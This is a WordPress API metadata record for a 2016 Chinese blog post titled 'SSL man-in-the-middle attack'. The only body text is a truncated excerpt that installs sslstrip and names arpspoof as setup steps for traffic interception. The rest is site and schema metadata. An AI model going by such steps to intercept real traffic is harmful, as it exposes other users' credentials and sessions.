&nbsp;&nbsp;&nbsp;&nbsp;sudo apt-get install sslstrip    2\uff09arpspoof:    &nbsp;&nbsp;&nbsp;&nbsp;su...","og_url":"http:\/\/weizn.net\/?p=175","og_site_name":"Wayne&#039;s Blog","article_published_time":"2016-04-05T09:29:56+00:00","og_image":[{"url":"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg"}],"twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"ImageObject","@id":"http:\/\/weizn.net\/?p=175#primaryimage","inLanguage":"zh-Hans","url":"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg","contentUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=175#webpage","url":"http:\/\/weizn.net\/?p=175","name":"SSL\u4e2d\u95f4\u4eba\u653b\u51fb - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"primaryImageOfPage":{"@id":"http:\/\/weizn.net\/?p=175#primaryimage"},"datePublished":"2016-04-05T09:29:56+00:00","dateModified":"2016-04-05T09:29:56+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=175#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=175"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=175#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"SSL\u4e2d\u95f4\u4eba\u653b\u51fb"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=175#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=175#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"SSL\u4e2d\u95f4\u4eba\u653b\u51fb","datePublished":"2016-04-05T09:29:56+00:00","dateModified":"2016-04-05T09:29:56+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=175#webpage"},"wordCount":311,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"image":{"@id":"http:\/\/weizn.net\/?p=175#primaryimage"},"thumbnailUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg","articleSection":["\u5e94\u7528\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=175#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/175","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=175"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/175\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=175"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}